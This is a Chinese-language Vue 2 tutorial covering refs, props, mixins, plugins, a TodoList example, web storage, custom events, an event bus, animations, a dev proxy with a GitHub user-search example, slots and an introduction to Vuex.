1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html> <html lang=""> <head> <meta charset="utf-8"> //针对IE浏览器的适配 <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> //网址logo <link rel="icon" href="<%= BASE_URL %>favicon.ico"> <title><%= htmlWebpackPlugin.options.title %></title> </head> <body> <noscript> <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong> </noscript> <div id="app"></div> <!-- built files will be auto injected --> </body> </html>
ref属性
Vue.js 中的 ref 属性是用于直接访问 Vue 实例或子组件内部的元素或组件实例。这对于在组件外获取或操纵组件内部元素的需求非常有用。
使用 ref 的方式非常简单,您可以在元素或组件上设置 ref属性并将其设置为一个字符串。然后,您可以在组件内通过 this.$refs 访问该元素或组件。
在下面的代码中,我们在输入框上设置了 ref 属性,并将其设置为 “input”。然后,在提交按钮的点击事件处理函数中,我们可以通过 this.$refs.input 访问该输入框元素,并读取其 value 属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <template> <div > <input ref ="input" /> <button @click ="submit" > Submit</button > </div > </template> <script > export default { methods : { submit ( ) { console .log (this .$refs .input .value ); }, }, }; </script >
props配置 Vue.js 中的 props 是一个组件的配置项,用于将数据从父组件传递到子组件。通过 props,父组件可以向子组件传递数据,子组件再将该数据呈现在视图中。
在下面的代码中,我们通过 props 配置了一个名为 “message” 的参数,该参数是必需的且为字符串类型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <template> <div > <p > {{ message }}</p > </div > </template> <script > export default { props : { message : { type : String , required : true , }, }, }; </script >
在父组件中,您可以通过传递一个 message 属性来使用该子组件,并向其传递数据,在下面的代码中,我们在父组件中使用了子组件,并向其传递了一个 “Hello, world!” 的消息。该子组件再将该数据呈现在视图中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <template> <div > <child-component message ="Hello, world!" /> </div > </template> <script > import ChildComponent from './ChildComponent.vue' ;export default { components : { ChildComponent , }, }; </script >
mixin混入(合) Vue的mixin是一个可复用的代码块,可以包含组件的数据、生命周期钩子、方法和计算属性等。它可以被一个或多个组件使用,以达到复用代码的目的。在实际使用中,你可以将相似的代码放入一个 mixin 中,然后将这个 mixin 混入多个组件中。这样可以大大简化代码,同时也使代码变得更易维护。
全局混入:Vue.mixin(xxx)
局部混入:mixins:[‘xxx’]
1 2 3 4 5 6 7 8 9 10 export const mixins = { methods : { showName ( ){ alert (this .name ) } }, mounted ( ) { console .log ('你好啊!' ) }, }
插件 Vue.js 的插件是一种扩展 Vue 的功能的方法。插件可以是实现一些自定义功能的组件、指令、过滤器、混入以及其他东西。
在 Vue 中安装插件的方法如下
1 2 3 import MyPlugin from './my-plugin.js' Vue .use (MyPlugin )
上面的代码将导入一个名为 MyPlugin 的插件,然后调用 Vue.use() 方法将其安装到 Vue 中。
插件必须暴露一个 install 方法,该方法将被 Vue 调用,并传递一个 Vue 构造函数作为参数。插件的 install 方法通常实现以下操作:
定义一个全局组件、指令、过滤器或混入。
添加一个全局 API。
定义一个 Vue 原型属性。
下面是一个简单的插件示例,下面的代码定义了一个名为 MyPlugin 的插件,该插件通过定义一个 Vue 原型方法 $myMethod() 来添加一个全局 API。安装完插件后,你就可以在任意 Vue 组件中使用 $myMethod() 方法了。
1 2 3 4 5 6 7 8 9 const MyPlugin = { install (Vue , options) { Vue .prototype .$myMethod = function (methodOptions ) { } } } export default MyPlugin
scoped样式 Vue的scoped是一种特殊的 CSS 的作用域限制,用于防止样式冲突,以确保组件的样式不会影响其他组件。在组件中使用 scoped 属性后,该组件内的样式将仅影响该组件内的元素,不会影响到整个页面的其他元素。
这样的话,我们在构建多个组件时,不需要担心样式会相互影响,从而使代码更加清晰、可维护。
使用 scoped 属性的语法如下:
1 2 3 4 5 6 7 8 <template> <div > <style scoped > </style > </div > </template>
Todo Vue 的 Todo 应用是一种经典的任务管理应用,用于练习和理解 Vue 的基本功能,包括数据绑定、事件处理、条件渲染、循环渲染等。
在 Todo 应用中,用户可以通过输入框输入任务项,并在列表中显示。同时,用户也可以通过复选框标记已完成的任务,或者删除不需要的任务。
组件化编码流程
(1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。
(2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
一个组件在用:放在组件自身即可。
一些组件在用:放在他们共同的父组件上(状态提升 )。
(3).实现交互:从绑定事件开始
props适用于
父组件 ==> 子组件 通信
子组件 ==> 父组件 通信(要求父先给子一个函数)
使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!
props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。
TodoList案例(1.0版本)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 <template> <div class ="todo-footer" v-show ="total" > <label > <input type ="checkbox" v-model ="isAll" /> </label > <span > <span > 已完成{{doneTotal}}</span > / 全部{{total}} </span > <button class ="btn btn-danger" @click ="clearAll" > 清除已完成任务</button > </div > </template> <script > export default { name :'MyFooter' , props :['todos' ,'checkAllTodo' ,'clearAllTodo' ], computed : { total ( ){ return this .todos .length }, doneTotal ( ){ return this .todos .reduce ((pre,todo )=> pre + (todo.done ? 1 : 0 ) ,0 ) }, isAll :{ get ( ){ return this .doneTotal === this .total && this .total > 0 }, set (value ){ this .checkAllTodo (value) } } }, methods : { clearAll ( ){ this .clearAllTodo () } }, } </script > <style scoped > .todo-footer { height : 40px ; line-height : 40px ; padding-left : 6px ; margin-top : 5px ; } .todo-footer label { display : inline-block; margin-right : 20px ; cursor : pointer; } .todo-footer label input { position : relative; top : -1px ; vertical-align : middle; margin-right : 5px ; } .todo-footer button { float : right; margin-top : 5px ; } </style >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <template> <div class ="todo-header" > <input type ="text" placeholder ="请输入你的任务名称,按回车键确认" v-model ="title" @keyup.enter ="add" /> </div > </template> <script > import {nanoid} from 'nanoid' export default { name :'MyHeader' , props :['addTodo' ], data ( ) { return { title :'' } }, methods : { add ( ){ if (!this .title .trim ()) return alert ('输入不能为空' ) const todoObj = {id :nanoid (),title :this .title ,done :false } this .addTodo (todoObj) this .title = '' } }, } </script > <style scoped > .todo-header input { width : 560px ; height : 28px ; font-size : 14px ; border : 1px solid #ccc ; border-radius : 4px ; padding : 4px 7px ; } .todo-header input :focus { outline : none; border-color : rgba (82 , 168 , 236 , 0.8 ); box-shadow : inset 0 1px 1px rgba (0 , 0 , 0 , 0.075 ), 0 0 8px rgba (82 , 168 , 236 , 0.6 ); } </style >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 <template> <li > <label > <input type ="checkbox" :checked ="todo.done" @change ="handleCheck(todo.id)" /> <span > {{todo.title}}</span > </label > <button class ="btn btn-danger" @click ="handleDelete(todo.id)" > 删除</button > </li > </template> <script > export default { name :'MyItem' , props :['todo' ,'checkTodo' ,'deleteTodo' ], methods : { handleCheck (id ){ this .checkTodo (id) }, handleDelete (id ){ if (confirm ('确定删除吗?' )){ this .deleteTodo (id) } } }, } </script > <style scoped > li { list-style : none; height : 36px ; line-height : 36px ; padding : 0 5px ; border-bottom : 1px solid #ddd ; } li label { float : left; cursor : pointer; } li label li input { vertical-align : middle; margin-right : 6px ; position : relative; top : -1px ; } li button { float : right; display : none; margin-top : 3px ; } li :before { content : initial; } li :last-child { border-bottom : none; } li :hover { background-color : #ddd ; } li :hover button { display : block; } </style >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <template> <ul class ="todo-main" > <MyItem v-for ="todoObj in todos" :key ="todoObj.id" :todo ="todoObj" :checkTodo ="checkTodo" :deleteTodo ="deleteTodo" /> </ul > </template> <script > import MyItem from './MyItem' export default { name :'MyList' , components :{MyItem }, props :['todos' ,'checkTodo' ,'deleteTodo' ] } </script > <style scoped > .todo-main { margin-left : 0px ; border : 1px solid #ddd ; border-radius : 2px ; padding : 0px ; } .todo-empty { height : 40px ; line-height : 40px ; border : 1px solid #ddd ; border-radius : 2px ; padding-left : 5px ; margin-top : 10px ; } </style >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 <template> <div id ="root" > <div class ="todo-container" > <div class ="todo-wrap" > <MyHeader :addTodo ="addTodo" /> <MyList :todos ="todos" :checkTodo ="checkTodo" :deleteTodo ="deleteTodo" /> <MyFooter :todos ="todos" :checkAllTodo ="checkAllTodo" :clearAllTodo ="clearAllTodo" /> </div > </div > </div > </template> <script > import MyHeader from './components/MyHeader' import MyList from './components/MyList' import MyFooter from './components/MyFooter.vue' export default { name :'App' , components :{MyHeader ,MyList ,MyFooter }, data ( ) { return { todos :[ {id :'001' ,title :'抽烟' ,done :true }, {id :'002' ,title :'喝酒' ,done :false }, {id :'003' ,title :'开车' ,done :true } ] } }, methods : { addTodo (todoObj ){ this .todos .unshift (todoObj) }, checkTodo (id ){ this .todos .forEach ((todo )=> { if (todo.id === id) todo.done = !todo.done }) }, deleteTodo (id ){ this .todos = this .todos .filter ( todo => todo.id !== id ) }, checkAllTodo (done ){ this .todos .forEach ((todo )=> { todo.done = done }) }, clearAllTodo ( ){ this .todos = this .todos .filter ((todo )=> { return !todo.done }) } } } </script > <style > body { background : #fff ; } .btn { display : inline-block; padding : 4px 12px ; margin-bottom : 0 ; font-size : 14px ; line-height : 20px ; text-align : center; vertical-align : middle; cursor : pointer; box-shadow : inset 0 1px 0 rgba (255 , 255 , 255 , 0.2 ), 0 1px 2px rgba (0 , 0 , 0 , 0.05 ); border-radius : 4px ; } .btn-danger { color : #fff ; background-color : #da4f49 ; border : 1px solid #bd362f ; } .btn-danger :hover { color : #fff ; background-color : #bd362f ; } .btn :focus { outline : none; } .todo-container { width : 600px ; margin : 0 auto; } .todo-container .todo-wrap { padding : 10px ; border : 1px solid #ddd ; border-radius : 5px ; } </style >
1 2 3 4 5 6 7 8 9 10 11 12 import Vue from 'vue' import App from './App.vue' Vue .config .productionTip = false new Vue ({ el :'#app' , render : h => h (App ) })
浏览器本地存储 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
localStorage和SessionStorage
localStorage是浏览器 Web Storage API 的一部分,是一种用于在浏览器端存储数据的机制。它与sessionStorage非常类似,但是数据在浏览器关闭后也不会被清除,而sessionStorage
的数据随着浏览器关闭而清除。
你可以使用localStorage来存储用户的配置、历史记录等信息。localStorage有两个重要的方法:setItem和getItem。通过使用它们,你可以在浏览器端存储和获取数据。SessionStorage使用方法类似于localStorage,也是使用sessionStorage对象的setItem()和getItem()方法来存储和读取数据:
相关API
xxxxxStorage.setItem(‘key’, ‘value’),该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。
xxxxxStorage.getItem(‘person’),该方法接受一个键名作为参数,返回键名对应的值。
xxxxxStorage.removeItem(‘key’),该方法接受一个键名作为参数,并把该键名从存储中删除。
xxxxxStorage.clear(),该方法会清空存储中的所有数据。
备注
SessionStorage存储的内容会随着浏览器窗口关闭而消失
LocalStorage存储的内容,需要手动清除才会消失
xxxxxStorage.getItem(xxx),如果xxx对应的value获取不到,那么getItem的返回值是null
JSON.parse(null),的结果依然是null
localStorage.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > localStorage</title > </head > <body > <h2 > localStorage</h2 > <button onclick ="saveData()" > 点我保存一个数据</button > <button onclick ="readData()" > 点我读取一个数据</button > <button onclick ="deleteData()" > 点我删除一个数据</button > <button onclick ="deleteAllData()" > 点我清空一个数据</button > <script type ="text/javascript" > let p = {name :'张三' ,age :18 } function saveData ( ){ localStorage .setItem ('msg' ,'hello!!!' ) localStorage .setItem ('msg2' ,666 ) localStorage .setItem ('person' ,JSON .stringify (p)) } function readData ( ){ console .log (localStorage .getItem ('msg' )) console .log (localStorage .getItem ('msg2' )) const result = localStorage .getItem ('person' ) console .log (JSON .parse (result)) } function deleteData ( ){ localStorage .removeItem ('msg2' ) } function deleteAllData ( ){ localStorage .clear () } </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > sessionStorage</title > </head > <body > <h2 > sessionStorage</h2 > <button onclick ="saveData()" > 点我保存一个数据</button > <button onclick ="readData()" > 点我读取一个数据</button > <button onclick ="deleteData()" > 点我删除一个数据</button > <button onclick ="deleteAllData()" > 点我清空一个数据</button > <script type ="text/javascript" > let p = {name :'张三' ,age :18 } function saveData ( ){ sessionStorage .setItem ('msg' ,'hello!!!' ) sessionStorage .setItem ('msg2' ,666 ) sessionStorage .setItem ('person' ,JSON .stringify (p)) } function readData ( ){ console .log (sessionStorage .getItem ('msg' )) console .log (sessionStorage .getItem ('msg2' )) const result = sessionStorage .getItem ('person' ) console .log (JSON .parse (result)) } function deleteData ( ){ sessionStorage .removeItem ('msg2' ) } function deleteAllData ( ){ sessionStorage .clear () } </script > </body > </html >
自定义事件 Vue的组件自定义事件是指在组件间通信时,使用自定义事件来传递数据或者从子组件通知父组件发生了某个事件的一种方式。
一种组件间通信的方式,适用于:子组件 ===> 父组件
使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中 )。
绑定自定义事件:
第一种方式,在父组件中:<Demo @atguigu="test"/>
或 <Demo v-on:atguigu="test"/>
第二种方式,在父组件中:
1 2 3 4 5 <Demo ref="demo" /> ...... mounted ( ){ this .$refs .xxx .$on('atguigu' ,this .test ) }
若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。
触发自定义事件:this.$emit(‘atguigu’,数据)
解绑自定义事件this.$off(‘atguigu’)
组件上也可以绑定原生DOM事件,需要使用native修饰符。
注意:通过this.$refs.xxx.$on(‘atguigu’,回调)绑定自定义事件时,回调要么配置在methods中 ,要么用箭头函数 ,否则this指向会出问题!
定义自定义事件:在子组件中通过 $emit 方法定义一个自定义事件
1 2 3 4 5 6 7 8 9 10 11 12 13 <template> <button @click ="emitEvent" > Emit Custom Event</button > </template> <script > export default { methods : { emitEvent ( ) { this .$emit('custom-event' , 'This is a custom event' ); } } } </script >
使用自定义事件:在父组件中,通过给子组件绑定自定义事件,监听到子组件触发的事件,通过这种方式,子组件和父组件之间就可以通过自定义事件来进行通信了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <template> <child-component @custom-event ="eventHandler" > </child-component > </template> <script > import ChildComponent from './ChildComponent' ;export default { components : { ChildComponent }, methods : { eventHandler (data ) { console .log (data); } } } </script >
全局事件总线 Vue的全局事件总线是一个事件订阅/发布系统,允许在不直接相关的组件之间进行通信。通常,组件之间的通信是通过父子关系或者混入来实现的,但是有时组件之间的关系可能比较复杂,需要更为灵活的通信方式。
全局事件总线可以用于解决跨组件的通信问题,并且对于组件的结构和职责关系没有影响。但是,使用全局事件总线需要注意,它可能导致代码难以维护,因为在多个组件中发布和订阅事件可能需要更多的代码和维护。因此,使用全局事件总线需要谨慎考虑。
使用全局事件总线的方法如下:
1 bus.$emit('eventName' , eventData);
1 2 3 bus.$on('eventName' , function (eventData ) { });
消息订阅与发布
Vue提供了一种简单的方式来处理跨组件的数据通信,这种方式称为消息订阅与发布。
在消息订阅与发布模式中,一个组件可以发布消息,另一个组件可以订阅消息。当订阅的组件需要使用该消息时,它就可以在特定的事件中触发。
pubsub-js 是一个发布/订阅消息库,它允许您实现 JavaScript 应用程序中的消息通信。发布者可以发布消息,订阅者可以通过订阅特定主题来接收它们。这种方法是一种解耦技术,可以让组件以更简洁的方式进行通信。安装命令 npm i pubsub-js,在终端执行即可,使用该库时记得使用import导入
使用pubsub-js
可以方便地解决多个模块之间的消息传递问题,并且代码实现较为简单。使用方法:
1 2 var PubSub = require ('pubsub-js' );PubSub .publish ('messageName' , data);
1 2 3 4 var PubSub = require ('pubsub-js' );var token = PubSub .subscribe ('messageName' , function (msg, data ){ console .log (msg, data); });
1 PubSub .unsubscribe (token);
nextTick nextTick是Vue.js的一个异步函数,用于在下一次 DOM 更新循环结束之后执行延迟回调。这对于某些需要在状态更改后操作 DOM 的场景非常有用,通过使用 nextTick
函数,您可以在 DOM 完成更新后执行回调,而不是在状态更改后立即执行。
1 2 3 4 5 6 7 this .message = 'Hello' this .$nextTick(function ( ) { })
动画效果 Vue 可以使用内置的动画系统,以简单和强大的方式创建动画效果。
Vue 提供了两种创建动画的方法:
你可以在 Vue 组件中定义 CSS 动画,然后在 JavaScript 代码中使用 v-on 指令来触发这些动画。Vue 还提供了关键帧动画支持,可以更灵活地定义动画。
动画写法:
准备好样式:
元素进入的样式:
v-enter:进入的起点
v-enter-active:进入过程中
v-enter-to:进入的终点
元素离开的样式:
v-leave:离开的起点
v-leave-active:离开过程中
v-leave-to:离开的终点
使用<transition>
包裹要过度的元素,并配置name属性:
1 2 3 <transition name="hello" > <h1 v-show ="isShow" > 你好啊!</h1 > </transition>
备注:若有多个元素需要过度,则需要使用:<transition-group>
,且每个元素都要指定key
值。
网址:https://animate.style/
命令:npm install animate.css –save,在终端执行该命令下载该库,里面有许多动画效果,可供选择,根据官方文档说明进行操作即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <template> <div > <button @click ="isShow = !isShow" > 显示/隐藏</button > //使用第三方库的动画效果例子,不需要自己写CSS动画 //直接使用下面的属性key=“value” //value为官方里的某个动画名 <transition-group appear name ="animate__animated animate__bounce" enter-active-class ="animate__swing" leave-active-class ="animate__backOutUp" > <h1 v-show ="!isShow" key ="1" > 你好啊!</h1 > <h1 v-show ="isShow" key ="2" > 尚硅谷!</h1 > </transition-group > </div > </template> <script > import 'animate.css' export default { name :'Test' , data ( ) { return { isShow :true } }, } </script > <style scoped > h1 { background-color : orange; } </style >
Vue中的Ajax Ajax的跨域问题 开发环境下,前端项目通常运行在一个不同的域名或端口下,而后端 API 接口又运行在另一个域名或端口下,因此可能会遇到跨域问题。解决开发环境下的跨域问题,可以通过以下几种方式:
配置代理服务器:在 vue.config.js 或者 webpack.config.js中配置一个代理服务器,将前端请求转发到后端服务器,以解决跨域问题。
使用 JSONP:通过 JSONP 跨域请求数据,JSONP 原理是利用 <script>
标签不受同源策略的限制,动态添加 <script>
标签来获取数据。
启用浏览器的跨域资源共享(CORS)功能:如果后端 API 支持跨域资源共享,那么可以在请求头中加上 Origin 字段,并在响应头中添加 Access-Control-Allow-Origin 字段,以允许前端访问后端 API。
使用反向代理:在开发环境中可以使用 Nginx、Apache 等反向代理服务器,将前端请求转发到后端服务器,以解决跨域问题。
以上几种方式各有优缺点,开发者可以根据实际需求选择适合自己的方式。
配置代理服务器 Vue可以通过配置一个代理服务器来解决跨域请求的问题。要配置代理服务器,可以在 vue.config.js 文件中使用 devServer选项,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 module .exports = { devServer : { proxy : { '/api' : { target : 'http://api.example.com' , changeOrigin : true , pathRewrite : { '^/api' : '' } } } } }
以上代码中,proxy 选项用于配置代理服务器,其中 /api 是需要代理的请求路径,target 是要代理到的目标服务器地址。changeOrigin 选项用于修改请求头中的 Origin 字段,以便服务器正确识别请求的来源。pathRewrite 选项用于重写请求路径,以去掉 /api 前缀。
使用上述配置后,Vue 开发服务器会将所有以 /api 开头的请求转发到 http://api.example.com
。例如,如果你的应用发起一个请求 http://localhost:8080/api/data
,则实际请求的地址会是 http://api.example.com/data
。
vue-resource 命令:npm i vue-resource,在终端输入该命令下载
vue-resource 是一个基于 Vue.js 的 HTTP 库,可以方便地进行 HTTP 请求和响应处理。它提供了丰富的特性,包括:
拦截器:可以在请求和响应过程中添加拦截器,用于处理请求头、响应状态码等信息。
Promise API:支持 Promise 链式调用,使得异步操作更加方便。
组件内 HTTP:可以在 Vue 组件中方便地使用 $http 对象来发起 HTTP 请求。
请求取消:可以通过 cancel 方法来取消请求。
跨域支持:可以在配置中添加跨域请求的相关配置。
vue-resource 目前已经不再维护,官方推荐使用 axios 或者 fetch 进行 HTTP 请求处理。
小案例 Github的搜索小案例,接口地址:https://api.github.com/search/users?q=xxx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <template> <div class ="row" > <div v-show ="info.users.length" class ="card" v-for ="user in info.users" :key ="user.login" > <a :href ="user.html_url" target ="_blank" > <img :src ="user.avatar_url" style ='width: 100px' /> </a > <p class ="card-text" > {{user.login}}</p > </div > <h1 v-show ="info.isFirst" > 欢迎使用!</h1 > <h1 v-show ="info.isLoading" > 加载中....</h1 > <h1 v-show ="info.errMsg" > {{info.errMsg}}</h1 > </div > </template> <script > export default { name :'List' , data ( ) { return { info :{ isFirst :true , isLoading :false , errMsg :'' , users :[] } } }, mounted ( ) { this .$bus .$on('updateListData' ,(dataObj )=> { this .info = {...this .info ,...dataObj} }) }, } </script > <style scoped > .album { min-height : 50rem ; padding-top : 3rem ; padding-bottom : 3rem ; background-color : #f7f7f7 ; } .card { float : left; width : 33.333% ; padding : .75rem ; margin-bottom : 2rem ; border : 1px solid #efefef ; text-align : center; } .card > img { margin-bottom : .75rem ; border-radius : 100px ; } .card-text { font-size : 85% ; } </style >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <template> <section class ="jumbotron" > <h3 class ="jumbotron-heading" > Search Github Users</h3 > <div > <input type ="text" placeholder ="enter the name you search" v-model ="keyWord" /> <button @click ="searchUsers" > Search</button > </div > </section > </template> <script > export default { name :'Search' , data ( ) { return { keyWord :'' } }, methods : { searchUsers ( ){ this .$bus .$emit('updateListData' ,{isLoading :true ,errMsg :'' ,users :[],isFirst :false }) this .$http .get (`https://api.github.com/search/users?q=${this .keyWord} ` ).then ( response => { console .log ('请求成功了' ) this .$bus .$emit('updateListData' ,{isLoading :false ,errMsg :'' ,users :response.data .items }) }, error => { this .$bus .$emit('updateListData' ,{isLoading :false ,errMsg :error.message ,users :[]}) } ) } }, } </script >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <template> <div class ="container" > <Search /> <List /> </div > </template> <script > import Search from './components/Search' import List from './components/List' export default { name :'App' , components :{Search ,List } } </script >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import Vue from 'vue' import App from './App.vue' import vueResource from 'vue-resource' Vue .config .productionTip = false Vue .use (vueResource)new Vue ({ el :'#app' , render : h => h (App ), beforeCreate ( ) { Vue .prototype .$bus = this }, })
插槽
默认插槽 默认插槽是Vue中插槽的一种类型,用于在组件中插入父组件的内容。如果父组件没有提供内容,那么默认插槽中的内容就会显示出来。
默认插槽可以通过 <slot>
标签来定义,在子组件中使用。
在下面的示例中,子组件定义了一个默认插槽,它包含了一个默认内容。父组件使用 <my-component>
标签来引入子组件,并将一个 <p>
标签作为默认插槽的内容传递给子组件。因此,在父组件中渲染子组件时,子组件会显示传递的 <p>
标签,而不是默认内容。
默认插槽也支持具名插槽的使用方式,可以在 <slot>
标签中指定插槽名称来定义具名插槽,如 <slot name="header">
,然后在父组件中使用 <template>
标签和 v-slot
指令来向具名插槽传递内容。
下面是一个简单的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!-- 子组件 --> <template > <div > <h1 > 子组件</h1 > <slot > <p > 这是默认插槽的默认内容</p > </slot > </div > </template > <!-- 父组件 --> <template > <div > <h1 > 父组件</h1 > <my-component > <p > 这是默认插槽的内容</p > </my-component > </div > </template > <script > import MyComponent from './MyComponent.vue' export default { name : 'ParentComponent' , components : { MyComponent , }, } </script >
具名插槽 具名插槽是Vue中插槽的一种类型,与默认插槽不同,具名插槽可以用于在组件中插入多个不同的内容。
具名插槽可以通过在 <slot>
标签中指定 name
属性来定义,如 <slot name="header">
。在使用具名插槽时,可以在父组件中使用 <template>
标签和 v-slot
指令来指定传递给具名插槽的内容,如 <template v-slot:header>
。
在下面的示例中,子组件定义了两个具名插槽,一个名为 header
,另一个名为 footer
,并分别提供了默认内容。父组件使用 <my-component>
标签来引入子组件,并使用 <template>
标签和 v-slot
指令向具名插槽传递不同的内容,其中 v-slot:header
表示向名为 header
的插槽传递内容,v-slot:footer
同理。
在父组件中,具名插槽可以像普通HTML标签一样使用,可以添加属性、嵌套元素等,这些内容会被传递到子组件中对应的具名插槽位置,覆盖默认内容。
下面是一个使用具名插槽的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <!-- 子组件 --> <template > <div > <h1 > 子组件</h1 > <slot name ="header" > <p > 这是头部插槽的默认内容</p > </slot > <slot name ="footer" > <p > 这是底部插槽的默认内容</p > </slot > </div > </template > <!-- 父组件 --> <template > <div > <h1 > 父组件</h1 > <my-component > <template v-slot:header > <p > 这是头部插槽的内容</p > </template > <template v-slot:footer > <p > 这是底部插槽的内容</p > </template > </my-component > </div > </template > <script > import MyComponent from './MyComponent.vue' export default { name : 'ParentComponent' , components : { MyComponent , }, } </script >
作用域插槽 作用域插槽(Scoped Slots)是 Vue 中插槽的一种特殊类型,与默认插槽和具名插槽不同,它可以将插槽内部的数据传递到父组件中。作用域插槽可以在子组件中定义,并在父组件中使用。
作用域插槽通过 slot-scope
特性来定义,其中 slot-scope
的值是一个变量名,可以用于引用插槽内部的数据。在父组件中,可以使用 <template>
标签和 v-slot
指令来使用作用域插槽,并将子组件中传递的数据渲染到模板中。
在下面的示例中,子组件定义了一个作用域插槽,并将一个 item
变量传递到插槽内部。在父组件中,使用 <template>
标签和 v-slot
指令来引用作用域插槽,并使用 slotProps
变量来引用插槽内部的数据,渲染到模板中。
在父组件中,可以将作用域插槽的变量用于计算、渲染列表等操作。通过作用域插槽,子组件可以向父组件提供更加灵活的数据传递方式,增加组件的复用性。
下面是一个使用作用域插槽的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <!-- 子组件 --> <template > <div > <h1 > 子组件</h1 > <slot name ="content" v-bind:item ="item" > <p > {{ item }}</p > </slot > </div > </template > <!-- 父组件 --> <template > <div > <h1 > 父组件</h1 > <my-component > <template v-slot:content ="slotProps" > <p > {{ slotProps.item }}</p > </template > </my-component > </div > </template > <script > import MyComponent from './MyComponent.vue' export default { name : 'ParentComponent' , components : { MyComponent , }, data ( ) { return { items : ['item1' , 'item2' , 'item3' ], } }, } </script >
Vuex简单的认识 Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式和库。它可以用来集中管理应用程序中的共享状态,如用户信息、购物车、主题等。在实际开发中,如果应用程序中的状态变得非常复杂,推荐使用 Vuex 来进行管理,以提高应用程序的可维护性和可扩展性。
Vuex 应用程序中的状态通常包括三个部分:
state:包含应用程序中所有共享的数据(状态)。
mutations:一些同步函数,用于改变 state 的值。
actions:包含一些异步函数,用于提交 mutations,同时可以包含任意异步操作。
Vuex 的工作流程如下:
组件调用 action 中的函数。
action 函数提交 mutation。
mutation 函数改变 state 的值。
state 的值的改变会自动更新应用程序中的组件。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u2jSUOBr-1679118232468)(null)]
使用 Vuex,可以使应用程序中的状态变得更加清晰和易于维护。同时,Vuex 还提供了丰富的插件和工具,如 time-travel 调试器和 action 插件,可以更加方便地调试和优化应用程序。
在下面的示例中,定义了一个名为 “store” 的 Vuex 对象,包含了 state、mutations 和 actions 三个部分。其中,state 中定义了一个名为 “count” 的状态,mutations 中定义了一个名为 “increment” 的同步函数,actions 中定义了一个名为 “incrementAsync” 的异步函数。在组件中可以通过 this.$store.state.count 来获取 state 中的值,或者通过 this.$store.commit(‘increment’) 来提交一个 mutation,或者通过 this.$store.dispatch(‘incrementAsync’) 来执行一个异步操作。
下面是一个简单的 Vuex 应用程序示例:使用命令:npm i vuex,这是默认下载vuex的最新版本vuex4,但它只是配于vue3,不能用于vue2,要注意,想要配置vue2环境的vuex,则想要下载vuex3才行,命令为npm i vuex@3
